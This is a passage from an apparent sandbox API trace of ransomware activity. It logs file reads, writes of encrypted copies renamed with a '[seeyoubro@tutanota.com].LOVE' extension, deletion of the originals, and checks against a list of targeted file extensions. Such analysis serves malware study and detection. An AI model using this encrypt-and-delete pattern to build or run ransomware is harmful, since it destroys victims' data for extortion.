(in: hFile=0x2c4, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xed90, lpOverlapped=0x0) returned 1 [0197.617] WriteFile (in: hFile=0x2a0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xeda0, lpOverlapped=0x0) returned 1 [0197.618] ReadFile (in: hFile=0x2c4, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0197.618] WriteFile (in: hFile=0x2a0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xf6, lpOverlapped=0x0) returned 1 [0197.619] SetEndOfFile (hFile=0x2a0) returned 1 [0197.619] CloseHandle (hObject=0x2a0) returned 1 [0197.620] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.621] SetEndOfFile (hFile=0x2c4) returned 1 [0197.622] CloseHandle (hObject=0x2c4) returned 1 [0197.622] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0197.622] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1 [0197.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0197.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0197.623] lstrlenW (lpString=".doc") returned 4 [0197.623] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.623] lstrlenW (lpString=".docx") returned 5 [0197.623] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0197.623] lstrlenW (lpString=".pdf") returned 4 [0197.623] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.623] lstrlenW (lpString=".xls") returned 4 [0197.623] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.623] lstrlenW (lpString=".xlsx") returned 5 [0197.623] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0197.623] lstrlenW (lpString=".ppt") returned 4 [0197.623] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0197.623] lstrlenW (lpString=".zip") returned 4 [0197.623] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.623] lstrlenW (lpString=".rar") returned 4 [0197.623] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.623] lstrlenW (lpString=".bz2") returned 4 [0197.623] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.623] lstrlenW (lpString=".7z") returned 3 [0197.623] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0197.623] lstrlenW (lpString=".dbf") returned 4 [0197.624] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0197.624] lstrlenW (lpString=".1cd") returned 4 [0197.624] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0197.624] lstrlenW (lpString=".jpg") returned 4 [0197.624] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0197.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0197.624] lstrlenW (lpString=".doc") returned 4 [0197.624] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.624] lstrlenW (lpString=".docx") returned 5 [0197.624] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0197.624] lstrlenW (lpString=".pdf") returned 4 [0197.624] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.624] lstrlenW (lpString=".xls") returned 4 [0197.624] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.624] lstrlenW (lpString=".xlsx") returned 5 [0197.624] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0197.624] lstrlenW (lpString=".ppt") returned 4 [0197.624] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0197.624] lstrlenW (lpString=".zip") returned 4 [0197.624] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.624] lstrlenW (lpString=".rar") returned 4 [0197.625] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.625] lstrlenW (lpString=".bz2") returned 4 [0197.625] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.625] lstrlenW (lpString=".7z") returned 3 [0197.625] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0197.625] lstrlenW (lpString=".dbf") returned 4 [0197.625] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0197.625] lstrlenW (lpString=".1cd") returned 4 [0197.625] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0197.625] lstrlenW (lpString=".jpg") returned 4 [0197.625] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.625] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0197.625] lstrlenW (lpString="LocalizedData.xml") returned 17 [0197.625] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0197.625] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=79996) returned 1 [0197.626] CloseHandle (hObject=0x2c4) returned 1 [0197.626] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80 [0197.626] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.626] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0197.626] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.626] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.626] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0197.626] GetLastError () returned 0x0 [0197.626] ReadFile (in: hFile=0x2c4, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x1387c, lpOverlapped=0x0) returned 1 [0197.747] WriteFile (in: hFile=0x2a0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x13880, lpOverlapped=0x0) returned 1 [0197.749] ReadFile (in: hFile=0x2c4, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0197.749] WriteFile (in: hFile=0x2a0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xf6, lpOverlapped=0x0) returned 1 [0197.749] SetEndOfFile (hFile=0x2a0) returned 1 [0197.751] CloseHandle (hObject=0x2a0) returned 1 [0197.753] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.753] SetEndOfFile (hFile=0x2c4) returned 1 [0197.755] CloseHandle (hObject=0x2c4) returned 1 [0197.755] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0197.755] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1 [0197.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0197.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0197.755] lstrlenW (lpString=".doc") returned 4 [0197.755] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.755] lstrlenW (lpString=".docx") returned 5 [0197.755] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0197.755] lstrlenW (lpString=".pdf") returned 4 [0197.755] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.755] lstrlenW (lpString=".xls") returned 4 [0197.756] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.756] lstrlenW (lpString=".xlsx") returned 5 [0197.756] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0197.756] lstrlenW (lpString=".ppt") returned 4 [0197.756] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0197.756] lstrlenW (lpString=".zip") returned 4 [0197.756] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.756] lstrlenW (lpString=".rar") returned 4 [0197.756] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.756] lstrlenW (lpString=".bz2") returned 4 [0197.756] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.756] lstrlenW (lpString=".7z") returned 3 [0197.756] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0197.756] lstrlenW (lpString=".dbf") returned 4 [0197.756] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0197.756] lstrlenW (lpString=".1cd") returned 4 [0197.756] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0197.756] lstrlenW (lpString=".jpg") returned 4 [0197.756] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0197.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0197.756] lstrlenW (lpString=".doc") returned 4 [0197.756] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.756] lstrlenW (lpString=".docx") returned 5 [0197.756] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0197.757] lstrlenW (lpString=".pdf") returned 4 [0197.757] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.757] lstrlenW (lpString=".xls") returned 4 [0197.757] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.757] lstrlenW (lpString=".xlsx") returned 5 [0197.757] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0197.757] lstrlenW (lpString=".ppt") returned 4 [0197.757] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0197.757] lstrlenW (lpString=".zip") returned 4 [0197.757] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.757] lstrlenW (lpString=".rar") returned 4 [0197.757] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.757] lstrlenW (lpString=".bz2") returned 4 [0197.757] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.757] lstrlenW (lpString=".7z") returned 3 [0197.757] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0197.757] lstrlenW (lpString=".dbf") returned 4 [0197.757] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0197.757] lstrlenW (lpString=".1cd") returned 4 [0197.757] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0197.757] lstrlenW (lpString=".jpg") returned 4 [0197.757] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.757] lstrcmpiW (lpString1=".bmp", lpString2=".LOVE") returned -1 [0197.758] lstrlenW (lpString="header.bmp") returned 10 [0197.758] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0197.773] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=3628) returned 1 [0197.773] CloseHandle (hObject=0x2d8) returned 1 [0197.773] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80 [0197.773] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.773] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0197.773] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.773] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.773] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0197.776] GetLastError () returned 0x0 [0197.777] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xe2c, lpOverlapped=0x0) returned 1 [0197.794] WriteFile (in: hFile=0x2c4, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xe30, lpOverlapped=0x0) returned 1 [0197.795] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0197.795] WriteFile (in: hFile=0x2c4, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xe8, lpOverlapped=0x0) returned 1 [0197.796] SetEndOfFile (hFile=0x2c4) returned 1 [0197.796] CloseHandle (hObject=0x2c4) returned 1 [0197.797] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.797] SetEndOfFile (hFile=0x2d8) returned 1 [0197.798] CloseHandle (hObject=0x2d8) returned 1 [0197.798] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0197.798] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1 [0197.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0197.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0197.799] lstrlenW (lpString=".doc") returned 4 [0197.799] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0197.799] lstrlenW (lpString=".docx") returned 5 [0197.799] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0197.799] lstrlenW (lpString=".pdf") returned 4 [0197.799] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0197.799] lstrlenW (lpString=".xls") returned 4 [0197.799] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0197.799] lstrlenW (lpString=".xlsx") returned 5 [0197.799] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0197.799] lstrlenW (lpString=".ppt") returned 4 [0197.799] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0197.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0197.799] lstrlenW (lpString=".zip") returned 4 [0197.799] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0197.799] lstrlenW (lpString=".rar") returned 4 [0197.799] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0197.799] lstrlenW (lpString=".bz2") returned 4 [0197.799] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0197.799] lstrlenW (lpString=".7z") returned 3 [0197.799] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0197.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0197.799] lstrlenW (lpString=".dbf") returned 4 [0197.799] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0197.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0197.799] lstrlenW (lpString=".1cd") returned 4 [0197.800] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0197.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0197.800] lstrlenW (lpString=".jpg") returned 4 [0197.800] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0197.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0197.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0197.800] lstrlenW (lpString=".doc") returned 4 [0197.800] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0197.800] lstrlenW (lpString=".docx") returned 5 [0197.800] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0197.800] lstrlenW (lpString=".pdf") returned 4 [0197.800] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0197.800] lstrlenW (lpString=".xls") returned 4 [0197.800] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0197.800] lstrlenW (lpString=".xlsx") returned 5 [0197.800] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0197.800] lstrlenW (lpString=".ppt") returned 4 [0197.800] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0197.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0197.800] lstrlenW (lpString=".zip") returned 4 [0197.800] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0197.800] lstrlenW (lpString=".rar") returned 4 [0197.800] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0197.800] lstrlenW (lpString=".bz2") returned 4 [0197.800] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0197.800] lstrlenW (lpString=".7z") returned 3 [0197.800] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0197.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0197.800] lstrlenW (lpString=".dbf") returned 4 [0197.801] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0197.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0197.801] lstrlenW (lpString=".1cd") returned 4 [0197.801] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0197.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0197.801] lstrlenW (lpString=".jpg") returned 4 [0197.801] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0197.801] lstrcmpiW (lpString1=".xsd", lpString2=".LOVE") returned 1 [0197.801] lstrlenW (lpString="SetupUi.xsd") returned 11 [0197.801] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0197.801] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=30120) returned 1 [0197.801] CloseHandle (hObject=0x2d8) returned 1 [0197.801] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80 [0197.802] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.802] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0197.802] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.802] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.802] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0197.802] GetLastError () returned 0x0 [0197.802] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x75a8, lpOverlapped=0x0) returned 1 [0197.989] WriteFile (in: hFile=0x2c4, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x75b0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x75b0, lpOverlapped=0x0) returned 1 [0197.990] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0197.990] WriteFile (in: hFile=0x2c4, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xea, lpOverlapped=0x0) returned 1 [0197.990] SetEndOfFile (hFile=0x2c4) returned 1 [0197.990] CloseHandle (hObject=0x2c4) returned 1 [0197.991] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.991] SetEndOfFile (hFile=0x2d8) returned 1 [0197.992] CloseHandle (hObject=0x2d8) returned 1 [0197.992] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0197.992] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 1 [0197.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0197.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0197.993] lstrlenW (lpString=".doc") returned 4 [0197.993] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0197.993] lstrlenW (lpString=".docx") returned 5 [0197.993] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0197.993] lstrlenW (lpString=".pdf") returned 4 [0197.993] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0197.993] lstrlenW (lpString=".xls") returned 4 [0197.993] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0197.993] lstrlenW (lpString=".xlsx") returned 5 [0197.993] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0197.993] lstrlenW (lpString=".ppt") returned 4 [0197.993] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0197.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0197.993] lstrlenW (lpString=".zip") returned 4 [0197.993] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0197.993] lstrlenW (lpString=".rar") returned 4 